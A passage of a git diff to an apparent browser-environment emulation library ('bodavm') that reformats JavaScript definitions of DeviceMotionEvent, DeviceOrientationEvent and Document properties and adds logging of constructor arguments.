bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "acceleration", { + configurable: true, + enumerable: true, + get: function acceleration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "acceleration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "accelerationIncludingGravity", { + configurable: true, + enumerable: true, + get: function accelerationIncludingGravity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "accelerationIncludingGravity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "rotationRate", { + configurable: true, + enumerable: true, + get: function rotationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "rotationRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "interval", { + configurable: true, + enumerable: true, + get: function interval() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "interval_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DeviceMotionEventAcceleration.js b/env_xbb_lastest_jsdom/env/DeviceMotionEventAcceleration.js index 519a231e..a103a156 100644 --- a/env_xbb_lastest_jsdom/env/DeviceMotionEventAcceleration.js +++ b/env_xbb_lastest_jsdom/env/DeviceMotionEventAcceleration.js @@ -1,6 +1,41 @@ -// DeviceMotionEventAcceleration对象 -bodavm.memory.globalobj['DeviceMotionEventAcceleration'] = function DeviceMotionEventAcceleration(){if (!(this instanceof DeviceMotionEventAcceleration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventAcceleration'], "DeviceMotionEventAcceleration"); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "z_get", arguments)}, set:undefined},'prototype'); +// DeviceMotionEventAcceleration对象 + +bodavm.memory.globalobj['DeviceMotionEventAcceleration'] = function DeviceMotionEventAcceleration() { + console.log_copy('DeviceMotionEventAcceleration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEventAcceleration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventAcceleration'], "DeviceMotionEventAcceleration"); +bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "z_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DeviceMotionEventRotationRate.js b/env_xbb_lastest_jsdom/env/DeviceMotionEventRotationRate.js index 62f3a08c..9ea2ad77 100644 --- a/env_xbb_lastest_jsdom/env/DeviceMotionEventRotationRate.js +++ b/env_xbb_lastest_jsdom/env/DeviceMotionEventRotationRate.js @@ -1,6 +1,41 @@ -// DeviceMotionEventRotationRate对象 -bodavm.memory.globalobj['DeviceMotionEventRotationRate'] = function DeviceMotionEventRotationRate(){if (!(this instanceof DeviceMotionEventRotationRate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventRotationRate'], "DeviceMotionEventRotationRate"); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "alpha", {configurable:true, enumerable:true, get:function alpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "alpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "beta", {configurable:true, enumerable:true, get:function beta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "beta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "gamma", {configurable:true, enumerable:true, get:function gamma (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "gamma_get", arguments)}, set:undefined},'prototype'); +// DeviceMotionEventRotationRate对象 + +bodavm.memory.globalobj['DeviceMotionEventRotationRate'] = function DeviceMotionEventRotationRate() { + console.log_copy('DeviceMotionEventRotationRate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEventRotationRate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventRotationRate'], "DeviceMotionEventRotationRate"); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "alpha", { + configurable: true, + enumerable: true, + get: function alpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "alpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "beta", { + configurable: true, + enumerable: true, + get: function beta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "beta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "gamma", { + configurable: true, + enumerable: true, + get: function gamma() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "gamma_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DeviceOrientationEvent.js b/env_xbb_lastest_jsdom/env/DeviceOrientationEvent.js index 5358e93b..a53a507d 100644 --- a/env_xbb_lastest_jsdom/env/DeviceOrientationEvent.js +++ b/env_xbb_lastest_jsdom/env/DeviceOrientationEvent.js @@ -1,9 +1,51 @@ -// DeviceOrientationEvent对象 -bodavm.memory.globalobj['DeviceOrientationEvent'] = function DeviceOrientationEvent(){if (!(this instanceof DeviceOrientationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceOrientationEvent'], "DeviceOrientationEvent"); -bodavm.memory.globalobj['DeviceOrientationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['DeviceOrientationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "alpha", {configurable:true, enumerable:true, get:function alpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "alpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "beta", {configurable:true, enumerable:true, get:function beta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "beta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "gamma", {configurable:true, enumerable:true, get:function gamma (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "gamma_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "absolute", {configurable:true, enumerable:true, get:function absolute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "absolute_get", arguments)}, set:undefined},'prototype'); +// DeviceOrientationEvent对象 + +bodavm.memory.globalobj['DeviceOrientationEvent'] = function DeviceOrientationEvent() { + console.log_copy('DeviceOrientationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceOrientationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceOrientationEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceOrientationEvent'], "DeviceOrientationEvent"); +bodavm.memory.globalobj['DeviceOrientationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['DeviceOrientationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "alpha", { + configurable: true, + enumerable: true, + get: function alpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "alpha_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "beta", { + configurable: true, + enumerable: true, + get: function beta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "beta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "gamma", { + configurable: true, + enumerable: true, + get: function gamma() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "gamma_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceOrientationEvent', "absolute", { + configurable: true, + enumerable: true, + get: function absolute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceOrientationEvent'].prototype, "DeviceOrientationEvent", "absolute_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Document.js b/env_xbb_lastest_jsdom/env/Document.js index 6954d047..9a009077 100644 --- a/env_xbb_lastest_jsdom/env/Document.js +++ b/env_xbb_lastest_jsdom/env/Document.js @@ -1,474 +1,2128 @@ // Document对象 -bodavm.memory.globalobj['Document'] = function Document(){this._boarg= new bodaobj.window.Document();this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['Document'] = function Document() { + console.log_copy('Document 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Document(); + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Document'], "Document"); - -bodavm.memory.globalobj['Document'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; - -bodavm.memory.globalobj['Document'].__proto__=bodavm.memory.globalobj['Node']; - -bodavm.toolsFunc.defineProperty('Document', "implementation", {configurable:true, enumerable:true, get:function implementation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "implementation_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "URL", {configurable:true, enumerable:true, get:function URL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "URL_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "documentURI", {configurable:true, enumerable:true, get:function documentURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentURI_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "compatMode", {configurable:true, enumerable:true, get:function compatMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "compatMode_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "characterSet", {configurable:true, enumerable:true, get:function characterSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "characterSet_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "charset_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "inputEncoding", {configurable:true, enumerable:true, get:function inputEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "inputEncoding_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "contentType", {configurable:true, enumerable:true, get:function contentType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "contentType_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "doctype", {configurable:true, enumerable:true, get:function doctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "doctype_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "documentElement", {configurable:true, enumerable:true, get:function documentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlEncoding", {configurable:true, enumerable:true, get:function xmlEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlEncoding_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlVersion", {configurable:true, enumerable:true, get:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_get", arguments)}, set:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlStandalone", {configurable:true, enumerable:true, get:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_get", arguments)}, set:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "domain", {configurable:true, enumerable:true, get:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_get", arguments)}, set:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "referrer_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "cookie", {configurable:true, enumerable:true, get:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_get", arguments)}, set:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "lastModified", {configurable:true, enumerable:true, get:function lastModified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastModified_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "readyState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_get", arguments)}, set:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "head", {configurable:true, enumerable:true, get:function head (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "head_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "images", {configurable:true, enumerable:true, get:function images (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "images_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "embeds", {configurable:true, enumerable:true, get:function embeds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "embeds_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "plugins_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "links", {configurable:true, enumerable:true, get:function links (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "links_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "forms", {configurable:true, enumerable:true, get:function forms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "forms_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "scripts", {configurable:true, enumerable:true, get:function scripts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scripts_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "currentScript", {configurable:true, enumerable:true, get:function currentScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "currentScript_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "defaultView", {configurable:true, enumerable:true, get:function defaultView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "defaultView_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "designMode", {configurable:true, enumerable:true, get:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_get", arguments)}, set:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "anchors", {configurable:true, enumerable:true, get:function anchors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "anchors_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "applets", {configurable:true, enumerable:true, get:function applets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "applets_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fgColor", {configurable:true, enumerable:true, get:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_get", arguments)}, set:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "linkColor", {configurable:true, enumerable:true, get:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_get", arguments)}, set:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "vlinkColor", {configurable:true, enumerable:true, get:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_get", arguments)}, set:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "alinkColor", {configurable:true, enumerable:true, get:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_get", arguments)}, set:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "all", {configurable:true, enumerable:true, get:function all (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "all_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "scrollingElement", {configurable:true, enumerable:true, get:function scrollingElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scrollingElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerlockchange", {configurable:true, enumerable:true, get:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_get", arguments)}, set:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerlockerror", {configurable:true, enumerable:true, get:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_get", arguments)}, set:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hidden_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "visibilityState", {configurable:true, enumerable:true, get:function visibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "visibilityState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "wasDiscarded", {configurable:true, enumerable:true, get:function wasDiscarded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "wasDiscarded_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "featurePolicy_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitVisibilityState", {configurable:true, enumerable:true, get:function webkitVisibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitVisibilityState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitHidden", {configurable:true, enumerable:true, get:function webkitHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitHidden_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfreeze", {configurable:true, enumerable:true, get:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_get", arguments)}, set:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onvisibilitychange", {configurable:true, enumerable:true, get:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_get", arguments)}, set:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreenEnabled", {configurable:true, enumerable:true, get:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, 